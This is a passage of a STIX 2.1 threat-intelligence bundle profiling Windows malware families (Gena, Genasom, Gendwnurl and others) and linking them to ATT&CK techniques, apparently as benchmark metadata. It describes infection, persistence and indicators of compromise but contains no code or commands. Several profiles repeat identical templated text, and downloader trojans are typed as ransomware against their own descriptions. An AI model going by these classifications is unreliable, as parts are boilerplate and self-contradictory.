      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76a88315-4099-5edc-92d6-c9c1d9624a63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8a4b1ff-4b92-50a9-b509-66f6b328a3cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65a9c2d2-2787-55ba-b84c-71c7126e5e92",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gemius exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gena",
      "description": "Trojan:Win32/Gena is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gena</b><br>To an end-user, a Gena infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gena is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gena is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gena frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gena reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gena",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gena"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8220f7e8-9e4b-55eb-98b7-41a0bf086ad8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gena exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4631b1bf-fa7a-506e-b342-726bc8b42705",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gena exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e9bf2f0-edfe-50be-8519-605e1ca14b19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gena exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6a66a4d-283e-58a3-84ff-753bf7fa70ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gena exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f1d8351-7a42-5de5-bab0-d08edbac102c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c0dcdc0-efc0-525c-b9c2-9ddd07e08df9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gena exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genasep",
      "description": "Trojan:Win32/Genasep is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genasep</b><br>To an end-user, a Genasep infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genasep is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genasep is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genasep frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genasep reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genasep",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genasep"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7585911c-e236-599a-80ef-8ece738cb7b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genasep exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39c932f4-4866-519c-9e2e-3a5237516f1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genasep exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea54f85c-954e-5349-931b-486490d83894",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genasep exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dfbde04-bbcb-5d84-a96a-4f7a95d4d7e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genasep exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--527b600b-f803-534a-b678-38712117a9b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9cf908e6-000f-5ddc-9ec3-17e79a109f0c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genasep exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17555248-cffe-5f19-b82d-21e2d5296cac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genasom",
      "description": "Genasom (classified in antimalware telemetry under signatures including Ransom:Win32/Genasom, Trojan-Ransom.Win32.Genasom, and Win32/Genasom) is a destructive screen-locking and crypto-ransomware family designed to extort computer users through alarming fake legal warnings. Distributed via malicious torrent downloads, compromised adult sites, and drive-by download stagers, Genasom renders a full-screen, non-dismissible lockdown interface that covers the desktop. It claims that the victim's device was flagged by national law enforcement agencies (such as the FBI, DOJ, or local police) for illicit internet activity. Genasom disables access to Task Manager (DisableTaskMgr), hooks keyboard task switching (Alt+Tab, Windows key), and terminates Explorer.exe. Concurrently, it encrypts user documents in the background using AES-256 and demands payment via prepaid money cards or cryptocurrency vouchers. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Genasom",
        "Trojan-Ransom.Win32.Genasom",
        "Win32/Genasom",
        "Ransom.Genasom",
        "Genasom Police Locker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genasom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genasom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gendal",
      "description": "Trojan:Win32/Gendal is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gendal</b><br>To an end-user, a Gendal infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gendal is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gendal is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gendal frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gendal reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gendal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gendal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2c9244c-7286-5e3a-852a-0c53f93fd745",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63877f88-d164-5938-84ae-d0464e3ca0b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa3e2526-1356-5787-9832-ec3a323f1b94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ec4c0dc-6430-5800-83d4-b5314be6fa93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f6a4f4d-e49e-5874-b926-17d1fa3f4e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--353b6611-131b-5eb2-9f3d-c6f1cef87337",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendal exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a77ffbc8-a13e-517f-8a02-ec5ec3e0d423",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gendelfan",
      "description": "<h3>Executive Summary</h3>\nGendelfan is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGendelfan is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gendelfan operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gendelfan ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gendelfan receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gendelfan infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gendelfan executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gendelfan frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gendelfan",
        "Downloader.Gendelfan",
        "Win32/Gendelfan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gendelfan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gendelfan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--defb34ed-53cf-51d1-874a-3e9cc1c01e35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77ffbc8-a13e-517f-8a02-ec5ec3e0d423",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendelfan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca61a9f1-059f-509c-b5dc-dae1528949c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77ffbc8-a13e-517f-8a02-ec5ec3e0d423",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendelfan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09913371-f677-5473-87ef-23c18adb6063",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a77ffbc8-a13e-517f-8a02-ec5ec3e0d423",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendelfan exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8f4ee86-42bb-53cf-b60b-9594531e8a46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gendwnurl",
      "description": "TrojanDownloader:Win32/Gendwnurl is a generic heuristic detection used by antivirus engines to identify malicious scripts or small executable stubs whose sole purpose is to connect to the internet (often utilizing hardcoded URLs), download a larger, secondary payload, and execute it. It is a fundamental component of the 'dropper' or 'stager' phase of modern malware attacks.<br><br><b>Understanding Gendwnurl Heuristics</b><br>To an end-user, a Gendwnurl execution is usually invisible. For a security analyst, a Gendwnurl alert indicates the earliest phase of a cyberattack. Threat actors prefer to use tiny, easily obfuscated stagers rather than sending their massive, multi-megabyte ransomware or banking trojans directly via email. The stager slips past email filters, and once executed, securely fetches the real weapon from a remote server.<br><br><b>Execution and Staging Mechanics</b><br>Gendwnurl threats are typically distributed as malicious macros embedded in Office documents (Spearphishing) (`T1566.001`), or as JavaScript/VBScript files hidden inside ZIP archives. When the user opens the file and enables content, the script executes (`T1059`). A classic Gendwnurl script will utilize native OS utilities (like PowerShell's `Invoke-WebRequest` or the `XMLHTTP` object in VBScript) to quietly reach out to a hardcoded URL (`T1105`). It downloads the secondary payload (often saving it to `%Temp%` with a randomized name) and then immediately executes it (`T1204.002`). The stager itself usually does not establish persistence; its job is done once the secondary payload is running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the secondary payload (which could be anything from a botnet agent to a ransomware encryptor). Incident responders should focus on EDR logs showing native scripting engines (`wscript.exe`, `powershell.exe`, `cmd.exe`) making anomalous outbound network connections, followed immediately by the creation and execution of a new binary file in a temporary directory. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gendwnurl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gendwnurl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8de5e9ac-df7a-51d1-8fcf-0d421d1bfd29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8f4ee86-42bb-53cf-b60b-9594531e8a46",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendwnurl exhibits technique T1105 (Ingress Tool Transfer (Downloading the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71de4088-b7ef-5d86-adf4-02cb3457f91b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8f4ee86-42bb-53cf-b60b-9594531e8a46",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendwnurl exhibits technique T1059 (Command and Scripting Interpreter (Executing the stager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41cc4c8a-d193-51c8-95a9-ffdd98896072",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8f4ee86-42bb-53cf-b60b-9594531e8a46",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendwnurl exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38eedf1f-7a9d-518e-b504-ffdb26aeca1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8f4ee86-42bb-53cf-b60b-9594531e8a46",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gendwnurl exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericgb",
      "description": "Trojan:Win32/Genericgb is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericgb</b><br>To an end-user, a Genericgb infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericgb is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericgb is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericgb frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericgb reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericgb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericgb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfe224c8-078c-52a8-9943-ca6baed2ee78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericgb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acac133c-5800-58f4-9197-ad8ee5b96fae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
